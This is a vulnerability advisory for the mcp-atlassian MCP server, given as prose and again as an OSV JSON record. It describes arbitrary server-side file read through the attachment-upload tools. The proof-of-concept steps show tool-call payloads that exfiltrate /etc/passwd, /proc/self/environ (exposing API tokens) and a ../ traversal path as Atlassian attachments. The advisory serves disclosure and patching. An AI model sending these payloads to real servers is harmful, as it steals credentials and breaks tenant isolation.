GHSA-WM45-QH3G-V83F

Vulnerability from github – Published: 2026-07-10 19:34 – Updated: 2026-07-10 19:34
VLAI
Summary
mcp-atlassian: Arbitrary server-side file read via attachment upload
Details

Summary

A client that can invoke MCP tools can read arbitrary files from the server host and exfiltrate them as Atlassian attachments. The attachment-upload tools take a client-supplied file_path and open() it on the server's filesystem.

The upload tools are meant to attach a file from the caller's environment — the client supplies a path expecting it to refer to its own machine. Over a remote transport (HTTP/SSE) that path is instead resolved and read on the server, and the tool offers no way for the client to send file content in place of a server-side path. A remote client therefore reads the server's files — and, in multi-tenant deployments, other tenants' data — instead of its own. (In a local stdio deployment the server runs as the user, so the path refers to the user's own files and reading any path is the intended behavior; the exposure is specific to remote/multi-user transports.)

Details

The upload tools read a client-supplied path directly on the server:

  • src/mcp_atlassian/confluence/attachments.pyupload_attachment_upload_attachment_directos.path.abspath(file_path)open(file_path, "rb")
  • src/mcp_atlassian/jira/attachments.pyupload_attachmentos.path.abspath(file_path)open(file_path, "rb")

os.path.abspath() only normalizes the path; the file is then opened on the server wherever it points and its bytes are sent to Atlassian as an attachment. There is no path a client can use to reference its own filesystem, and no option to upload raw content instead of a server-side path.

Client-reachable entry points that hit these sinks:

  • confluence_upload_attachmentConfluenceFetcher.upload_attachment. The file_path field is documented as "absolute … or relative to the current working directory."
  • confluence_upload_attachments → loops over the same sink.
  • jira_update_issue — its attachments parameter (JSON array or comma-separated list of paths) flows through IssuesMixin.update_issueself.upload_attachments → the Jira sink. There is no standalone jira_upload_attachment tool; jira_update_issue is the only Jira entry point.

PoC

Local reproduction

Extract traversal_upload_attachment_file_read.zip:

# Fill credentials in docker-compose.yml; set CONFLUENCE_PAGE_ID / JIRA_ISSUE_KEY in poc.sh
docker compose up -d        # mcp-atlassian, streamable-http, 0.0.0.0, READ_ONLY_MODE=false
./poc.sh                    # exits 0 on success

Requires Docker, curl, jq, and an Atlassian Cloud site with a Confluence page and a Jira issue (free tier works). The script runs the steps below and confirms the /etc/passwd round-trip. Planted attachments are intentionally left in place so they can be confirmed in the Atlassian UI.

All calls are issued against the HTTP transport with READ_ONLY_MODE=false (the default).

Step 1 — read /etc/passwd from the server via Confluence upload:

req → tools/call confluence_upload_attachment
      { "content_id": "<PAGE_ID>", "file_path": "/etc/passwd" }
← { "message": "Attachment uploaded successfully",
    "attachment": { "success": true, "filename": "passwd", "id": "att<...>" } }

Step 2 — retrieve the exfiltrated content back through MCP (round-trip proves a real read):

req → tools/call confluence_download_attachment { "attachment_id": "att<...>" }
← base64 resource decoding to:
    root:x:0:0:root:/root:/bin/bash
    daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
    ...

Step 3 — same primitive via the Jira entry point (second sink):

req → tools/call jira_update_issue
      { "issue_key": "<ISSUE_KEY>", "fields": "{}", "attachments": "/etc/passwd" }
← { "attachment_results": { ... "success": true ... } }

Step 4 — credential disclosure via /proc/self/environ:

req → tools/call confluence_upload_attachment
      { "content_id": "<PAGE_ID>", "file_path": "/proc/self/environ" }
← success; the resulting "environ" attachment contains the server's env,
  including JIRA_API_TOKEN / CONFLUENCE_API_TOKEN.

(os.path.getsize reports 0 for procfs, but the upload transmits the real content — the attachment shows ~1 kB in the Confluence UI.)

Step 5 — relative traversal accepted (no containment):

req → tools/call confluence_upload_attachment
      { "content_id": "<PAGE_ID>", "file_path": "../../../../etc/hostname" }
← success — relative paths are resolved and read on the server just like absolute ones.

The uploaded files (passwd, environ, hostname) appear as real attachments on the Confluence page, confirming the server read them off its own host.

Impact

Any client that can invoke the upload tools can exfiltrate arbitrary files readable by the server process (e.g. /etc/passwd, /proc/self/environ, application config, key material). Uploading /proc/self/environ discloses the server's environment variables — including the configured JIRA_API_TOKEN / CONFLUENCE_API_TOKEN — i.e. the server process's own Atlassian credentials and any other secrets on the host. In a multi-tenant HTTP deployment this also breaks tenant isolation: one client reads files belonging to the deployment or to other tenants.

The security impact concentrates in remote / HTTP-transport deployments (sse, streamable-http, default bind 0.0.0.0), where the file_path resolves on the server host rather than the client's. In a single-user stdio deployment the path refers to the user's own machine, so there is no boundary crossing.

Credit

Discovered by Francisco Rosales of Manifold Security

Show details on source website

{
  "affected": [
    {
      "package": {
        "ecosystem": "PyPI",
        "name": "mcp-atlassian"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "0.22.0"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [],
  "database_specific": {
    "cwe_ids": [
      "CWE-22",
      "CWE-73"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-07-10T19:34:30Z",
    "nvd_published_at": null,
    "severity": "HIGH"
  },
  "details": "### Summary\n\nA client that can invoke MCP tools can read **arbitrary files from the server host** and exfiltrate them as Atlassian attachments. The attachment-upload tools take a client-supplied `file_path` and `open()` it on the **server\u0027s** filesystem.\n\nThe upload tools are meant to attach a file from the **caller\u0027s** environment \u2014 the client supplies a path expecting it to refer to its own machine. Over a remote transport (HTTP/SSE) that path is instead resolved and read on the server, and the tool offers no way for the client to send file *content* in place of a server-side path. A remote client therefore reads the server\u0027s files \u2014 and, in multi-tenant deployments, other tenants\u0027 data \u2014 instead of its own. (In a local `stdio` deployment the server runs as the user, so the path refers to the user\u0027s own files and reading any path is the intended behavior; the exposure is specific to remote/multi-user transports.)\n\n### Details\n\nThe upload tools read a client-supplied path directly on the server:\n\n- `src/mcp_atlassian/confluence/attachments.py` \u2014 `upload_attachment` \u2192 `_upload_attachment_direct` \u2192 `os.path.abspath(file_path)` \u2192 `open(file_path, \"rb\")`\n- `src/mcp_atlassian/jira/attachments.py` \u2014 `upload_attachment` \u2192 `os.path.abspath(file_path)` \u2192 `open(file_path, \"rb\")`\n\n`os.path.abspath()` only normalizes the path; the file is then opened on the server wherever it points and its bytes are sent to Atlassian as an attachment. There is no path a client can use to reference its own filesystem, and no option to upload raw content instead of a server-side path.\n\nClient-reachable entry points that hit these sinks:\n\n- `confluence_upload_attachment` \u2192 `ConfluenceFetcher.upload_attachment`. The `file_path` field is documented as \"absolute \u2026 or relative to the current working directory.\"\n- `confluence_upload_attachments` \u2192 loops over the same sink.\n- `jira_update_issue` \u2014 its `attachments` parameter (JSON array or comma-separated list of paths) flows through `IssuesMixin.update_issue` \u2192 `self.upload_attachments` \u2192 the Jira sink. There is no standalone `jira_upload_attachment` tool; `jira_update_issue` is the only Jira entry point.\n\n### PoC\n\n**Local reproduction**\n\nExtract `traversal_upload_attachment_file_read.zip`:\n```\n# Fill credentials in docker-compose.yml; set CONFLUENCE_PAGE_ID / JIRA_ISSUE_KEY in poc.sh\ndocker compose up -d        # mcp-atlassian, streamable-http, 0.0.0.0, READ_ONLY_MODE=false\n./poc.sh                    # exits 0 on success\n```\n\n\u003e Requires Docker, curl, jq, and an Atlassian Cloud site with a Confluence page and a Jira issue (free tier works). The script runs the steps below and confirms the `/etc/passwd` round-trip. Planted attachments are intentionally left in place so they can be confirmed in the Atlassian UI.\n\nAll calls are issued against the HTTP transport with `READ_ONLY_MODE=false` (the default).\n\nStep 1 \u2014 read `/etc/passwd` from the server via Confluence upload:\n```\nreq \u2192 tools/call confluence_upload_attachment\n      { \"content_id\": \"\u003cPAGE_ID\u003e\", \"file_path\": \"/etc/passwd\" }\n\u2190 { \"message\": \"Attachment uploaded successfully\",\n    \"attachment\": { \"success\": true, \"filename\": \"passwd\", \"id\": \"att\u003c...\u003e\" } }\n```\n\nStep 2 \u2014 retrieve the exfiltrated content back through MCP (round-trip proves a real read):\n```\nreq \u2192 tools/call confluence_download_attachment { \"attachment_id\": \"att\u003c...\u003e\" }\n\u2190 base64 resource decoding to:\n    root:x:0:0:root:/root:/bin/bash\n    daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin\n    ...\n```\n\nStep 3 \u2014 same primitive via the Jira entry point (second sink):\n```\nreq \u2192 tools/call jira_update_issue\n      { \"issue_key\": \"\u003cISSUE_KEY\u003e\", \"fields\": \"{}\", \"attachments\": \"/etc/passwd\" }\n\u2190 { \"attachment_results\": { ... \"success\": true ... } }\n```\n\nStep 4 \u2014 credential disclosure via `/proc/self/environ`:\n```\nreq \u2192 tools/call confluence_upload_attachment\n      { \"content_id\": \"\u003cPAGE_ID\u003e\", \"file_path\": \"/proc/self/environ\" }\n\u2190 success; the resulting \"environ\" attachment contains the server\u0027s env,\n  including JIRA_API_TOKEN / CONFLUENCE_API_TOKEN.\n```\n(`os.path.getsize` reports 0 for procfs, but the upload transmits the real content \u2014 the attachment shows ~1 kB in the Confluence UI.)\n\nStep 5 \u2014 relative traversal accepted (no containment):\n```\nreq \u2192 tools/call confluence_upload_attachment\n      { \"content_id\": \"\u003cPAGE_ID\u003e\", \"file_path\": \"../../../../etc/hostname\" }\n\u2190 success \u2014 relative paths are resolved and read on the server just like absolute ones.\n```\n\nThe uploaded files (`passwd`, `environ`, `hostname`) appear as real attachments on the Confluence page, confirming the server read them off its own host.\n\n### Impact\n\nAny client that can invoke the upload tools can exfiltrate arbitrary files readable by the server process (e.g. `/etc/passwd`, `/proc/self/environ`, application config, key material). Uploading `/proc/self/environ` discloses the server\u0027s environment variables \u2014 including the configured `JIRA_API_TOKEN` / `CONFLUENCE_API_TOKEN` \u2014 i.e. the server process\u0027s own Atlassian credentials and any other secrets on the host. In a multi-tenant HTTP deployment this also breaks tenant isolation: one client reads files belonging to the deployment or to other tenants.\n\nThe security impact concentrates in remote / HTTP-transport deployments (`sse`, `streamable-http`, default bind `0.0.0.0`), where the `file_path` resolves on the server host rather than the client\u0027s. In a single-user `stdio` deployment the path refers to the user\u0027s own machine, so there is no boundary crossing.\n\n### Credit\n\nDiscovered by [Francisco Rosales](https://www.linkedin.com/in/francisco-rosales-celis/) of [Manifold Security](https://manifold.security/)",
  "id": "GHSA-wm45-qh3g-v83f",
  "modified": "2026-07-10T19:34:30Z",
  "published": "2026-07-10T19:34:30Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/sooperset/mcp-atlassian/security/advisories/GHSA-wm45-qh3g-v83f"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/sooperset/mcp-atlassian"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:N/A:N",
      "type": "CVSS_V3"
    }
  ],
  "summary": "mcp-atlassian: Arbitrary server-side file read via attachment upload"
}



Log in or create an account to share your comment.




Tags
Taxonomy of the tags.


Loading…

Loading…

Loading…

Forecast uses a logistic model when the trend is rising, or an exponential decay model when the trend is falling. Fitted via linearized least squares.

Sightings

Author Source Type Date Other

Nomenclature

  • Seen: The vulnerability was mentioned, discussed, or observed by the user.
  • Confirmed: The vulnerability has been validated from an analyst's perspective.
  • Published Proof of Concept: A public proof of concept is available for this vulnerability.
  • Exploited: The vulnerability was observed as exploited by the user who reported the sighting.
  • Patched: The vulnerability was observed as successfully patched by the user who reported the sighting.
  • Not exploited: The vulnerability was not observed as exploited by the user who reported the sighting.
  • Not confirmed: The user expressed doubt about the validity of the vulnerability.
  • Not patched: The vulnerability was not observed as successfully patched by the user who reported the sighting.

Loading…

Detection rules are retrieved from Rulezet.

Loading…

Loading…